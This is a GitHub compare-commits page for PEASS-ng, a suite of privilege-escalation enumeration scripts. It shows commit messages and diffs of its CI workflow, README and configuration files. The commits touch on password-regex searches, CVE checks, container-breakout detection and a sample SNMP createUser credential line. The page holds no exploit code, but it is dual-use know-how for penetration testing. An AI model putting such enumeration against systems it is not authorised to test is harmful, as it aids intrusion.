Compare commits

...

200 Commits

Author SHA1 Message Date
Carlos Polop
9163062daa Merge pull request #396 from RandolphConley/master
logo color, updated output, added -fullcheck flag
2023-10-11 22:59:21 +02:00
StevenLtheThird
6d8db70b30 Merge branch 'master' of https://github.com/RandolphConley/PEASS-ng 2023-10-11 15:58:02 -04:00
StevenLtheThird
4ee91b897a logo color, updated output, added -fullcheck flag
Added colors to the logo, so winPEAS looks like it should.
Updated the output to filter out erroneous information. Which leads to the -fullcheck flag.
The flag adds all regex searches back into the script to check files/folders for data. However the regexes do return false positives, so use as a last resort.
2023-10-11 15:57:35 -04:00
Carlos Polop
05f6cb7b0a Update 9_interesting_files.sh 2023-10-02 23:54:28 +02:00
Carlos Polop
5199c4c395 Update ProcessInfo.cs 2023-08-24 19:48:31 +02:00
Carlos Polop
f99387feed Update linpeas_base.sh 2023-08-18 13:19:53 +02:00
Carlos Polop
7eac86c008 Merge pull request #387 from RandolphConley/master
Updated switch parameter to TimeStamp
2023-08-17 22:00:57 +02:00
StevenLtheThird
cab71afe3a update Parameter $TimeStamp 2023-08-17 15:18:59 -04:00
StevenLtheThird
822768ca1b Add $debugTimeStamp parameter 2023-08-17 14:40:49 -04:00
Carlos Polop
84dc284fac Merge pull request #382 from RandolphConley/master
Feature add, bug fix
2023-08-08 07:41:42 +02:00
StevenLtheThird
101f477279 Merge branch 'master' of https://github.com/RandolphConley/PEASS-ng 2023-08-07 15:20:07 -04:00
StevenLtheThird
f296c89300 Feature Add, Bug fix
Added 203 regex password options (from yaml regex search).
Updated entry for %userprofile% to $env:UserName
2023-08-07 15:20:01 -04:00
Carlos Polop
eddc6726e0 Update 1_system_information.sh 2023-08-07 08:35:15 +02:00
Carlos Polop
ae37d8f24f Merge pull request #380 from makikvues/fix-tests-and-logo
Fixed logo, removed  long-running checks from tests,  create search lists only if necessary
2023-08-05 18:02:31 +02:00
makikvues
78d187db52 - fixed logo
- updated tests, long-running checks are removed
- create search lists only if necessary
2023-08-03 19:21:22 +02:00
Carlos Polop
0fe26134ea Merge pull request #378 from Mateodevv/master
Fixed Typo in Readme for linPEASS
2023-08-03 15:29:34 +02:00
RandolphConley
40c47868d2 Merge branch 'carlospolop:master' into master 2023-08-02 16:01:56 -04:00
StevenLtheThird
b617756f80 Update winPEAS.ps1
bug fix: replaced %username% with $env:usernames
Introduced Regex search based on yaml file (integrated to script)
Added -debug switch for timestamps
2023-08-02 15:57:21 -04:00
z004r19n
6c0d00f1cb Fixed Typo 2023-08-01 09:48:37 +02:00
Carlos Polop
9861259bca Merge pull request #375 from galoget/master
Fix typos, grammar and spacing
2023-07-31 16:56:43 +02:00
Carlos Polop
0ab20b9524 Merge pull request #374 from jahatfi/master
Wrap 'nosh_usrs' user names in word boundaries
2023-07-31 16:55:51 +02:00
Carlos Polop
33bba036ce Update CI-master_tests.yml 2023-07-31 16:55:07 +02:00
Carlos Polop
89240fc7ea Delete aicoder.yml 2023-07-31 16:32:13 +02:00
Carlos Polop
3ab9ab8101 Delete AIPRChecker.yml 2023-07-31 16:31:49 +02:00
Carlos Polop
d101acc85c Merge pull request #377 from makikvues/fix-alphafs-leaked-handle
Fixed AlphaFS dependency, fixed leaked handlers detection
2023-07-31 16:31:12 +02:00
makikvues
869145388d - added progress bar while reading leaked handles 2023-07-30 17:38:57 +02:00
makikvues
bcd52764ba - added alphaFS as 3rd party library
- PrintVulnLeakedHandlers wrapped in try/catch
- removed commented out code in SearchHelper.cs
- added check for empty config in YamlConfigHelper
2023-07-30 11:01:20 +02:00
galoget
6525727ca9 Update peass.rb
Fix typos, grammar and misspelled words.
2023-07-25 12:33:15 -05:00
galoget
41e2367be6 Update linpeas_builder.py
Standardize spacing in comments.
2023-07-25 12:22:14 -05:00
galoget
5e41f694e2 Update linpeas_base.sh
Standardize spacing in comments.
2023-07-25 12:21:36 -05:00
galoget
5e8def70d1 Update 9_interesting_files.sh
Standardize spacing in comments
2023-07-25 12:16:03 -05:00
galoget
f441212026 Update 8_interesting_perms_files.sh
Standardize spacing in comments
2023-07-25 12:13:37 -05:00
galoget
337f210bb9 Update 7_software_information.sh
Fix typos and spacing
2023-07-25 12:11:09 -05:00
galoget
d63f11bc53 Update 3_cloud.sh (Typos)
Fix typos, spacing and added comments.
2023-07-25 11:58:47 -05:00
galoget
210abd9329 Update 2_container.sh (Fix typo)
Fix typo and spacing.
2023-07-25 11:48:55 -05:00
kali.kali
be912ad77e Wrap 'nosh_usrs' user names in word boundaries to prevent false positives when such names are substrings of other strings 2023-07-24 20:06:47 -04:00
Carlos Polop
667bb5220d Merge pull request #373 from galoget/master
Fix Broken Links for Cloud and Containers Pentesting
2023-07-24 18:52:48 +02:00
galoget
44a3cce5c7 Update 2_container.sh (Fix broken links)
Update script 2_container.sh to fix broken links to Kubernetes Pentesting.
2023-07-24 11:03:05 -05:00
galoget
965ca0868a Update 3_cloud.sh (Fix broken link)
Update script 3_cloud.sh to fix a broken link to GCP Pentesting.
2023-07-24 10:55:35 -05:00
carlospolop
1279434ba6 Merge branch 'aicoder' of https://github.com/carlospolop/PEASS-ng into aicoder 2023-07-24 10:23:18 +02:00
Carlos Polop
d60fed0f20 Merge pull request #370 from takitakitanana/master
path contains spaces check
2023-07-23 01:51:43 +02:00
Carlos Polop
0a1a0d1e56 Merge pull request #371 from nillyr/linPEAS-builder-fix
Fix linPEAS build
2023-07-23 01:50:01 +02:00
Nicolas GRELLETY
2bc6c94608 Merge remote-tracking branch 'origin/linPEAS-builder-fix' into linPEAS-builder-fix 2023-07-23 00:49:25 +02:00
Nicolas GRELLETY
509e164d6f 🐛 fix linPEAS build
Update search regex due to API change
2023-07-23 00:49:04 +02:00
Nicolas GRELLETY
e7bfabe082 :fix: fix linPEAS builder
Update search regex due to API change
2023-07-23 00:14:26 +02:00
takitakitanana
7c7b17a7cc fixed typo 2023-07-22 03:58:37 +03:00
takitakitanana
2cb6af3f27 path contains spaces check 2023-07-22 03:27:08 +03:00
Carlos Polop
0d75c0085a Create AIPRChecker.yml 2023-07-20 17:53:51 +02:00
Carlos Polop
bc064ddb88 Update README.md 2023-07-20 17:44:02 +02:00
Carlos Polop
a0f612b582 Update aicoder.yml 2023-07-02 18:09:12 +02:00
Carlos Polop
aa59afe289 Update aicoder.yml 2023-07-02 17:53:59 +02:00
Carlos Polop
08144aaac3 Update aicoder.yml 2023-07-02 17:52:25 +02:00
Carlos Polop
8f533247be Update aicoder.yml 2023-07-02 17:51:12 +02:00
Carlos Polop
660dc3dc60 Update aicoder.yml 2023-07-02 17:45:31 +02:00
Carlos Polop
7b8b6670b8 Update aicoder.yml 2023-07-02 17:37:26 +02:00
Carlos Polop
6f48de1573 Update aicoder.yml 2023-07-02 17:14:13 +02:00
Carlos Polop
3cceae682d Update aicoder.yml 2023-07-02 17:08:25 +02:00
Carlos Polop
4a29293199 Update CI-master_tests.yml 2023-07-02 17:07:55 +02:00
Carlos Polop
6d2e33cd61 Update aicoder.yml 2023-07-02 17:05:53 +02:00
Carlos Polop
8dd0350b5c Update aicoder.yml 2023-07-02 17:02:19 +02:00
carlospolop
b4801ccc4d testing actions 2023-07-02 16:19:35 +02:00
Carlos Polop
083ed6ae7d Update aicoder.yml 2023-07-02 16:18:05 +02:00
Carlos Polop
ad2150ded5 Update aicoder.yml 2023-07-02 16:04:36 +02:00
Carlos Polop
74377ec9e8 Update aicoder.yml 2023-07-02 16:03:06 +02:00
Carlos Polop
917a3a0101 Update aicoder.yml 2023-07-02 15:56:17 +02:00
carlospolop
099755dbcb actions 2023-07-02 15:45:35 +02:00
Carlos Polop
b9a44ffe66 Merge pull request #365 from sttlr/patch-1
Fix Timeout parameter in Peass Metasploit module
2023-06-29 12:54:44 +02:00
Carlos Polop
cdd342fb26 Merge pull request #363 from camercu/master
fix su brute check.
2023-06-29 12:53:47 +02:00
Max Symonenko
36523f520f Fix Timeout parameter in Peass Metasploit module
time_out argument of cmd_exec function must be integer

When user sets its own timeout, module execution stops, because there is no conversion of string to int.
2023-06-24 10:15:40 +03:00
camercu
7f4965c0b7 fix su brute check.
Added Usage help message to indicate '-a' invokes all checks.
Removed 'sudo' exists check, replaced with appropriate 'su' check.
2023-06-11 10:45:51 -05:00
carlospolop
898b29b0fa f 2023-06-01 00:16:51 +02:00
carlospolop
e36d5a5736 winpeas.ps1 2023-05-29 16:52:21 +02:00
Carlos Polop
11cfe79ad0 Rename WinPeas.ps1 to winPEAS.ps1 2023-05-29 16:51:23 +02:00
carlospolop
a1552d61df banner 2023-05-29 16:44:38 +02:00
carlospolop
71ec9c7d31 ps1 2023-05-29 16:43:04 +02:00
carlospolop
d4ff43b604 readme 2023-05-29 16:41:54 +02:00
Carlos Polop
56a193df60 Merge pull request #361 from RandolphConley/master
winPEASps1 initial commit
2023-05-29 16:22:26 +02:00
StevenLtheThird
f67bedda4f Update winPeas.ps1
Added padding and Time Stamps in more locations.
2023-05-26 16:07:47 -04:00
StevenLtheThird
f988d8b05f winPEAS initial upload
PS1 version of winPEAS
Powershell V2 support coming soon!
2023-05-26 11:04:49 -04:00
carlospolop
78c932f1af improve 2023-05-25 14:27:17 +02:00
Carlos Polop
7e7738ab98 Merge pull request #360 from fredtep/wes-ng
Wes ng
2023-05-25 00:31:17 +02:00
Carlos Polop
68cd1c28df Merge pull request #358 from Schrubitteflau/master
LinPEAS - Exploit Suggester red color not applied in a specific case
2023-05-25 00:29:53 +02:00
Fr3sh
58719a6075 removing unecessary build number 2023-05-23 15:38:02 +02:00
Fr3sh
2a4868c0eb add systeminfo output for wes-ng 2023-05-23 15:14:45 +02:00
Antoine SANSON
e4b9ae6479 Fix LES regex 2023-05-15 14:31:13 +02:00
Carlos Polop
7b096cd930 Update linpeas_base.sh 2023-05-10 16:03:11 +02:00
Carlos Polop
a9ae25cdc3 Update 3_cloud.sh 2023-05-10 16:02:43 +02:00
Carlos Polop
e7617700b3 Update sensitive_files.yaml 2023-05-10 13:36:12 +02:00
Carlos Polop
96c821193e Update CI-master_tests.yml 2023-05-08 17:42:22 +02:00
Carlos Polop
7bb66d2182 Delete SearchHelperTests.cs 2023-05-08 17:20:30 +02:00
Carlos Polop
711d9f1a95 Merge pull request #356 from wonda-tea-coffee/replace-00a0
Fix command not found error
2023-05-08 16:06:10 +02:00
wonda-tea-coffee
a36c2c9107 fix command not found error
The following error occurred when evaluating the expression because the space that should have been a space was U+0a00.

```
./linpeas.sh: 3672: ./linpeas.sh:  [: not found
```
2023-05-08 19:22:22 +09:00
Carlos Polop
2963e47866 Merge pull request #355 from wonda-tea-coffee/fix-link
fix hacktricks link
2023-04-27 19:18:09 +02:00
wonda-tea-coffee
d20699ed51 fix hacktricks link 2023-04-28 00:13:16 +09:00
Carlos Polop
df4f122a53 Merge pull request #350 from Donovoi/master
fix path too long
2023-04-25 17:05:49 +02:00
Carlos Polop
7f8ea5fa44 Merge pull request #354 from bighound/master
Update Putty.cs
2023-04-25 17:04:44 +02:00
Carlos Polop
7e9c9b4e5b Merge pull request #353 from wangwillian0/master
Fix script download for the Metasploit module
2023-04-25 16:19:03 +02:00
Bighound
fad2771dfb Update Putty.cs
Updated Putty's stored session enumeration functionality, now also showing the \\Software\\SimonTatham\\PuTTY\\Sessions registry keys itself
2023-04-25 12:44:20 +02:00
Willian Wang
3e213bd8fd Handle 302 redirects of GitHub release URLs 2023-04-22 14:16:46 -03:00
Carlos Polop
5356d3f2ec Update sensitive_files.yaml 2023-04-19 04:59:49 +02:00
Carlos Polop
2ac2debc59 Update sensitive_files.yaml 2023-04-19 04:00:20 +02:00
Carlos Polop
bb47a172b3 Update sensitive_files.yaml 2023-04-18 05:50:32 +02:00
Carlos Polop
69c3906ab7 Update sensitive_files.yaml 2023-04-17 06:45:14 +02:00
Michael Moran
3bec4c4b52 Merge branch 'carlospolop:master' into master 2023-04-14 19:26:40 +10:00
Carlos Polop
345bf63b40 Update CI-master_tests.yml 2023-04-13 23:58:37 +02:00
Carlos Polop
1e796b9876 Update CI-master_tests.yml 2023-04-13 23:56:59 +02:00
Carlos Polop
39d811c16f Update CI-master_tests.yml 2023-04-13 23:31:22 +02:00
carlospolop
a0175b0172 fix linpeas in winpeas 2023-04-13 23:28:24 +02:00
carlospolop
b0f4868feb add .gitignore 2023-04-13 22:43:10 +02:00
carlospolop
4f295a138d fix 2023-04-13 22:42:35 +02:00
carlospolop
a1e06de8ca fix regex 2023-04-13 22:40:57 +02:00
carlospolop
2775083680 download regexes ps1 2023-04-13 22:20:32 +02:00
carlospolop
62e4b071cd Merge branch 'master' of https://github.com/carlospolop/PEASS-ng 2023-04-13 22:02:56 +02:00
carlospolop
4a0b8fb065 improvements 2023-04-13 22:02:50 +02:00
Carlos Polop
4ba0f6b6c2 Update 1_system_information.sh 2023-04-13 20:30:33 +02:00
Carlos Polop
ff96d02125 Update CI-master_tests.yml 2023-04-13 16:38:23 +02:00
Carlos Polop
4f3a8265e0 Merge pull request #349 from carlospolop/carlospolop-patch-2
Update CI-master_tests.yml
2023-04-13 16:12:19 +02:00
Carlos Polop
8912bd2b9c Update CI-master_tests.yml 2023-04-13 16:12:10 +02:00
carlospolop
438e00527d Merge branch 'master' of https://github.com/carlospolop/PEASS-ng 2023-04-13 16:10:37 +02:00
carlospolop
144c0aef6f push 2023-04-13 16:10:26 +02:00
Carlos Polop
c597da42f7 Merge pull request #348 from carlospolop/carlospolop-patch-1
Update CI-master_tests.yml
2023-04-13 15:47:15 +02:00
carlospolop
613bf14049 container 2023-04-13 15:44:57 +02:00
Carlos Polop
e1fdef50d9 Update CI-master_tests.yml 2023-04-13 15:44:42 +02:00
carlospolop
b1845a1a18 add sensitive files 2023-04-13 15:06:11 +02:00
carlospolop
19a2ed5f5a linpeas improvements 2023-04-13 06:00:26 +02:00
Carlos Polop
1a7183decf Merge pull request #346 from L1-0/patch-1
ColorLine Fix
2023-04-03 15:36:03 +02:00
Lino
8ee66af278 ColorLine Fix
Added a trailing quotation on a ColorLine that could lead to an error.
Spelling on :CurrentClipboard
2023-04-03 13:32:15 +02:00
Carlos Polop
0682cafe08 Update linpeas_base.sh 2023-03-29 17:23:14 +02:00
Carlos Polop
aa1f162359 Merge pull request #341 from ZoeS17/snmp
sensitive_files.yaml(SNMP) add createUser to bad_regex
2023-03-29 17:17:28 +02:00
Carlos Polop
60b2e1d974 Merge pull request #340 from XHNan/patch-1
Fix a bug of finding readable files in sudoers.d
2023-03-29 17:16:34 +02:00
Michael Moran
5b96594c3c speed up file search and fix long path error 2023-03-28 06:25:05 +11:00
Zoe Kahala
eabec47c08 sensitive_files.yaml(SNMP) add createUser to bad_regex
Add `createUser` to `bad_regex` as it likely contains a hardcoded
password.

As an example:
```
createUser bootstrap MD5 SuperSecurePassword123__ DES
```
where `SuperSecurePassword123__` is the password and `bootstrap` is the
username, though I should mention the username maybe misleading here.

Spec/Man-page link:
[freebsd.org - snmpd.conf]

[freebsd.org - snmpd.conf]: https://man.freebsd.org/cgi/man.cgi?query=snmpd.conf#:~:text=your%2D%0A%20%20%20%20%20%20%20self%20instead%3A-,createUser,-%5B%2De%09%20%20%20%20%20%20%20ENGINEID%5D%09%20%20%20%20%20%20username
2023-03-11 11:08:20 -06:00
KeoOp
7b9bf9cf91 Fix a bug of finding readable file in sudoers.d
Fix a bug of finding user readable file in /etc/sudoers.d
```
for filename in /etc/sudoers.d/*; do
    echo $filename  # filename is a array
done
```

```
for filename in '/etc/sudoers.d/*'; do
    echo $filename  # filename is a single long string
done
```
2023-03-08 16:37:32 +08:00
Carlos Polop
ded6f3045f Merge pull request #329 from godylockz/master
Fix Internet Explorer Enumeration
2022-12-31 18:37:08 +01:00
Carlos Polop
d20638fa7b Merge pull request #331 from AlLongley/master
Check "doas.conf" based on binary existence, not configuration files
2022-12-31 18:34:57 +01:00
Al Longley
aa69a494b4 Check "doas.conf" based on binary existence, not config 2022-12-31 18:43:14 +11:00
Carlos Polop
a4b226c16e Update linpeas_base.sh 2022-12-31 00:58:00 +01:00
godylockz
3cc49b5b9a Code Cleanup 2022-12-23 00:45:23 -05:00
godylockz
e5b9b67786 Fix IE Bug, Browser Consistency. 2022-12-23 00:45:05 -05:00
Carlos Polop
e29c9e88d5 Update CI-master_tests.yml 2022-12-21 15:32:55 +01:00
Carlos Polop
8b6ce759d0 Merge pull request #323 from ruppde/master
Update 1_system_information.sh
2022-12-20 14:26:25 +01:00
Carlos Polop
116d842158 Merge pull request #326 from Riqky/master
Update README.md to remove python2
2022-12-20 14:25:26 +01:00
Riqky
46033a7af0 Update README.md
Update python webserver to python 3 command, since python 2 is EOL.
2022-12-20 13:46:59 +01:00
Arnim Rupp
0ab4a65bab Update 1_system_information.sh
Fix false positive, Ubuntu fixed it one day earlier:

policykit-1 (0.105-20ubuntu0.18.04.6) bionic-security; urgency=medium

  * SECURITY UPDATE: Local Privilege Escalation in pkexec
    - debian/patches/CVE-2021-4034.patch: properly handle command-line
      arguments in src/programs/pkcheck.c, src/programs/pkexec.c.
    - CVE-2021-4034

 -- Marc Deslauriers <email address hidden>  Wed, 12 Jan 2022 07:34:00 -0500
2022-11-21 15:17:28 +01:00
Carlos Polop
27d954e03a Update FileAnalysis.cs 2022-11-02 18:58:53 +00:00
Carlos Polop
9416b924cb Update FileAnalysis.cs 2022-11-02 18:50:36 +00:00
Carlos Polop
6ec25656f2 Update FileAnalysis.cs 2022-11-02 18:42:29 +00:00
Carlos Polop
3039ce555d Update FileAnalysis.cs 2022-11-02 18:37:11 +00:00
Carlos Polop
d382de1cb1 Merge pull request #319 from motikan2010/fix/small-typo
Fix small typo in /parser/README.md
2022-11-02 18:28:08 +00:00
Carlos Polop
c62a8f8b54 Update App.config 2022-11-02 18:27:42 +00:00
Carlos Polop
a70b9773db Update FileAnalysis.cs 2022-11-02 18:26:18 +00:00
Carlos Polop
7a19b0968f Update README.md 2022-10-12 14:56:18 +02:00
Carlos Polop
ce002b9f33 Update README.md 2022-10-12 14:34:05 +02:00
motikan2010
1afac19979 Fix typo in /parser/README.md 2022-10-09 13:56:29 +09:00
Carlos Polop
219b1669c3 Update Beaprint.cs 2022-10-06 17:46:45 +02:00
carlospolop
1274f21097 debug regex searches 2022-09-30 19:47:38 +02:00
carlospolop
f86e301a1b try fix long path error 2022-09-30 14:50:56 +02:00
Carlos Polop
940b4bc791 Update 2_container.sh 2022-09-30 13:48:06 +02:00
Carlos Polop
b2e1a4e64a Merge pull request #314 from lu-ka/master
added CVE-2022-2588; reduced CVE color
2022-09-23 16:40:53 +02:00
lu-ka
cb3e62a3ff added CVE-2022-2588; reduced color to red 2022-09-20 19:26:56 +02:00
Carlos Polop
701d41073a Merge pull request #313 from frkngksl/master
Update McAfee.cs
2022-09-20 00:50:05 +02:00
Furkan Göksel
31e318c870 Update McAfee.cs 2022-09-13 09:37:40 +03:00
Carlos Polop
eb34a006e2 Merge pull request #311 from Neology92/fix/winpeasbat-typo
Fix readme typo
2022-09-09 10:14:37 +02:00
Oskar Legner
3950a1f7bd Fix typo 2022-09-06 23:19:25 +02:00
Carlos Polop
eaac654739 Update linpeas_base.sh 2022-09-01 20:17:07 +02:00
Carlos Polop
7bc53594b0 Update README.md 2022-09-01 20:16:43 +02:00
Carlos Polop
55faa3b5e8 Update README.md 2022-09-01 20:12:39 +02:00
carlospolop
8b444ba674 10k update 2022-09-01 20:08:01 +02:00
Carlos Polop
a5ca003383 Merge pull request #307 from z0ug/patch-1
Update 2_container.sh
2022-08-20 21:22:19 +02:00
Carlos Polop
502e561445 Merge pull request #308 from z0ug/patch-2
Update 1_system_information.sh
2022-08-20 21:21:25 +02:00
z0ug
98e2318838 Update 1_system_information.sh 2022-08-20 20:01:18 +02:00
z0ug
27bc0ba5cc Update 1_system_information.sh
Missing test makes false positive
2022-08-20 19:55:24 +02:00
z0ug
2f7d8ea583 Update 2_container.sh
Typo in release_agent_breakout2 variable name
2022-08-20 19:42:48 +02:00
Carlos Polop
f1f321be44 Merge pull request #304 from Reelix/patch-1
Fixed a broken Github link
2022-08-09 12:09:03 +02:00
Reelix
dec10cded1 Fix a broken Github link
- Fixed a typo in the KrbRelayUp Github link
2022-07-31 20:16:54 +02:00
Carlos Polop
5fa0e76b69 Update linpeas_base.sh 2022-07-31 00:29:32 +02:00
Carlos Polop
480cf17e12 Update sensitive_files.yaml 2022-07-30 16:56:14 +02:00
carlospolop
999fcff035 linpeas update 2022-07-30 12:14:53 +02:00
carlospolop
bbc22b3a91 update 2022-07-30 12:06:10 +02:00
Carlos Polop
56d71ae847 Update sensitive_files.yaml 2022-07-30 11:59:30 +02:00
Carlos Polop
91bcfa109e Merge pull request #302 from codesalatdev/master
Add search for .cmd files
2022-07-30 11:58:32 +02:00
Noah Groß
e91676e6e6 Add search for .cmd files 2022-07-27 12:55:36 +02:00
Carlos Polop
fa0f2e17fb Update 7_interesting_files.sh 2022-05-11 21:13:18 +01:00
Carlos Polop
f8e0090962 Update 6_software_information.sh 2022-05-11 21:09:43 +01:00
Carlos Polop
10960f2456 Update linpeas_base.sh 2022-05-11 20:36:51 +01:00
Carlos Polop
0c9bee903a Update 4_network_information.sh 2022-05-11 20:25:37 +01:00
Carlos Polop
7f2b14d8d7 Update 1_system_information.sh 2022-05-11 20:23:27 +01:00
Carlos Polop
0a41095a1b Update 6_software_information.sh 2022-05-09 12:13:07 +01:00
Carlos Polop
06cb797f42 Update FUNDING.yml 2022-05-07 20:23:18 +01:00
carlospolop
585fcc33b2 change url 2022-05-01 17:43:55 +01:00
Carlos Polop
8d232ee083 Update Beaprint.cs 2022-04-08 23:54:49 +01:00
Carlos Polop
3b764452b5 Update linpeas_base.sh 2022-04-08 23:53:42 +01:00
Carlos Polop
2844a124cd Update README.md 2022-04-01 18:40:17 +01:00
Carlos Polop
6536042afd Update linpeas_base.sh 2022-04-01 10:58:42 +01:00
Carlos Polop
d17e4dcca7 Update 1_system_information.sh 2022-03-28 17:31:07 +01:00
Carlos Polop
a928340752 Update 3_procs_crons_timers_srvcs_sockets.sh 2022-03-28 10:21:49 +01:00
Carlos Polop
db059d9a23 Update README.md 2022-03-28 01:10:37 +01:00
Carlos Polop
4050c0e445 Update README.md 2022-03-27 19:17:36 +01:00
Carlos Polop
91805d7542 Update CI-master_tests.yml 2022-03-17 10:58:17 +00:00
Carlos Polop
9ea0c01b82 Merge pull request #282 from carlospolop/linpeas_dev
check /opt
2022-03-15 00:11:28 +00:00
774 changed files with 94513 additions and 20032 deletions

2
.github/FUNDING.yml vendored
View File

@@ -1 +1 @@
custom: ['https://www.patreon.com/peass'] custom: ['https://github.com/sponsors/carlospolop']

View File

@@ -1,4 +1,5 @@
If you are going to suggest something, please remove the following template. If you are going to suggest something, please remove the following template.
If your issue is related with WinPEAS.ps1 please mention https://github.com/RandolphConley
#### Issue description #### Issue description

View File

@@ -1,9 +1,11 @@
name: CI-master_test name: CI-master_test
on: on:
pull_request: push:
branches: branches:
- master - master
paths-ignore:
- '.github/**'
schedule: schedule:
- cron: "5 4 * * SUN" - cron: "5 4 * * SUN"
@@ -26,6 +28,10 @@ jobs:
uses: actions/checkout@master uses: actions/checkout@master
with: with:
ref: ${{ github.head_ref }} ref: ${{ github.head_ref }}
- name: Download regexes
run: |
powershell.exe -ExecutionPolicy Bypass -File build_lists/download_regexes.ps1
# Add MSBuild to the PATH: https://github.com/microsoft/setup-msbuild # Add MSBuild to the PATH: https://github.com/microsoft/setup-msbuild
- name: Setup MSBuild.exe - name: Setup MSBuild.exe
@@ -133,6 +139,12 @@ jobs:
with: with:
name: winPEAS.bat name: winPEAS.bat
path: winPEAS\winPEASbat\winPEAS.bat path: winPEAS\winPEASbat\winPEAS.bat
- name: Upload winpeas.ps1
uses: actions/upload-artifact@v2
with:
name: winPEAS.ps1
path: winPEAS\winPEASps1\winPEAS.ps1
# Git add # Git add
#- name: Create local changes #- name: Create local changes
@@ -198,8 +210,36 @@ jobs:
run: linPEAS/linpeas.sh -h run: linPEAS/linpeas.sh -h
# Run linpeas as a test # Run linpeas as a test
- name: Run linpeas - name: Run linpeas system_information
run: linPEAS/linpeas.sh -a -D run: linPEAS/linpeas.sh -o system_information -a
- name: Run linpeas container
run: linPEAS/linpeas.sh -o container -a
- name: Run linpeas cloud
run: linPEAS/linpeas.sh -o cloud -a
- name: Run linpeas procs_crons_timers_srvcs_sockets
run: linPEAS/linpeas.sh -o procs_crons_timers_srvcs_sockets -a
- name: Run linpeas network_information
run: linPEAS/linpeas.sh -o network_information -t -a
- name: Run linpeas users_information
run: linPEAS/linpeas.sh -o users_information -a
- name: Run linpeas software_information
run: linPEAS/linpeas.sh -o software_information -a
- name: Run linpeas interesting_perms_files
run: linPEAS/linpeas.sh -o interesting_perms_files -a
- name: Run linpeas interesting_files
run: linPEAS/linpeas.sh -o interesting_files -a
# Too much time
#- name: Run linpeas api_keys_regex
# run: linPEAS/linpeas.sh -o api_keys_regex -r
# Upload files for release # Upload files for release
- name: Upload linpeas.sh - name: Upload linpeas.sh
@@ -208,6 +248,12 @@ jobs:
name: linpeas.sh name: linpeas.sh
path: linPEAS/linpeas.sh path: linPEAS/linpeas.sh
- name: Upload linpeas_fat.sh
uses: actions/upload-artifact@v2
with:
name: linpeas_fat.sh
path: linPEAS/linpeas_fat.sh
## Linux bins ## Linux bins
- name: Upload linpeas_linux_386 - name: Upload linpeas_linux_386
uses: actions/upload-artifact@v2 uses: actions/upload-artifact@v2
@@ -285,8 +331,8 @@ jobs:
run: linPEAS/linpeas.sh -h run: linPEAS/linpeas.sh -h
# Run macpeas parts to test it # Run macpeas parts to test it
- name: Run macpeas #- name: Run macpeas
run: linPEAS/linpeas.sh -D -o system_information,container,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information # run: linPEAS/linpeas.sh -D -o system_information,container,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information
Publish_release: Publish_release:
@@ -334,6 +380,11 @@ jobs:
uses: actions/download-artifact@v2 uses: actions/download-artifact@v2
with: with:
name: linpeas.sh name: linpeas.sh
- name: Download linpeas_fat.sh
uses: actions/download-artifact@v2
with:
name: linpeas_fat.sh
- name: Download linpeas_linux_386 - name: Download linpeas_linux_386
uses: actions/download-artifact@v2 uses: actions/download-artifact@v2
@@ -369,6 +420,10 @@ jobs:
id: date id: date
run: echo "::set-output name=date::$(date +'%Y%m%d')" run: echo "::set-output name=date::$(date +'%Y%m%d')"
- name: Generate random
id: random_n
run: echo "::set-output name=some_rand::$(openssl rand -hex 4)"
# Create the release # Create the release
- name: Create Release - name: Create Release
id: create_release id: create_release
@@ -376,8 +431,8 @@ jobs:
env: env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with: with:
tag_name: ${{steps.date.outputs.date}} tag_name: ${{steps.date.outputs.date}}-${{steps.random_n.outputs.some_rand}}
release_name: Release ${{ github.ref }} ${{steps.date.outputs.date}} release_name: Release ${{ github.ref }} ${{steps.date.outputs.date}}-${{steps.random_n.outputs.some_rand}}
draft: false draft: false
prerelease: false prerelease: false
@@ -388,4 +443,3 @@ jobs:
assets_path: . assets_path: .
env: env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

6
.gitignore vendored
View File

@@ -25,4 +25,8 @@ linPEAS/builder/__pycache__/*
linPEAS/builder/src/__pycache__/* linPEAS/builder/src/__pycache__/*
linPEAS/linpeas.sh linPEAS/linpeas.sh
sh2bin sh2bin
sh2bin/* sh2bin/*
.dccache
./*/.dccache
regexes.yaml
build_lists/regexes.yaml

View File

@@ -12,10 +12,10 @@ Here you will find **privilege escalation tools for Windows and Linux/Unix\* and
These tools search for possible **local privilege escalation paths** that you could exploit and print them to you **with nice colors** so you can recognize the misconfigurations easily. These tools search for possible **local privilege escalation paths** that you could exploit and print them to you **with nice colors** so you can recognize the misconfigurations easily.
- Check the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation)** - Check the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation)**
- **[WinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) - Windows local Privilege Escalation Awesome Script (C#.exe and .bat)** - **[WinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) - Windows local Privilege Escalation Awesome Script (C#.exe and .bat)**
- Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist)** - Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist)**
- **[LinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) - Linux local Privilege Escalation Awesome Script (.sh)** - **[LinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) - Linux local Privilege Escalation Awesome Script (.sh)**
## Quick Start ## Quick Start
@@ -24,14 +24,18 @@ Find the **latest versions of all the scripts and binaries in [the releases page
## JSON, HTML & PDF output ## JSON, HTML & PDF output
Check the **[parsers](./parsers/)** directory to **transform PEASS outputs to JSON, HTML and PDF** Check the **[parsers](./parsers/)** directory to **transform PEASS outputs to JSON, HTML and PDF**
## Support PEASS-ng and HackTricks and get benefits
Do you want to have **access the latest version of Hacktricks and PEASS**, obtain a **PDF copy of Hacktricks**, and more? Discover the **brand new [SUBSCRIPTION PLANS](https://github.com/sponsors/carlospolop?frequency=one-time) for individuals and companies**.
